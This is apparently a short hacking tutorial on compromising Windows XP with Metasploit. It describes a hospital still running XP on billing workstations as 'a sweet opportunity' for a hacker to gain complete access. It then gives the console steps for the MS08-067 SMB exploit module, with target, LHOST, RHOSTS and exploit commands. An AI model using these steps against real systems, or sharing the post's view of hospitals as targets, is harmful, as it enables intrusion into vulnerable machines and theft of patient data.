

Hacking Windows XP with Metasploit

Why Windows XP?

Windows XP, released in 2001, was a popular operating system during its time, but it's now considered an outdated and vulnerable system. Despite being discontinued by Microsoft in 2014, many Windows XP systems are still in use today, making them a prime target for hackers and cybercriminals.

Talking about a real life incident, i have seen Windows XP systems in use in 2024 in a major hospital of my state. I was in the accounts section of that hospital for some paperwork and i saw people running Windows XP systems in their main workstations. The main reason for this is custom software compatibility. Many organizations uses custom software for different tasks, let say patient's data entry on a billing station. Now when these software was deployed, they were built keeping in mind a particular Windows version and architecture. Updating the underlying operating system can cause system breaks and can hamper productivity of that organization. But this dependency of an organization on old outdated software gives us a sweet opportunity as a hacker to get complete access on their system.

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search ms08_067

use exploit/windows/smb/ms08_067_netapi

set target 7

set LHOST IP

set RHOSTS IP

exploit
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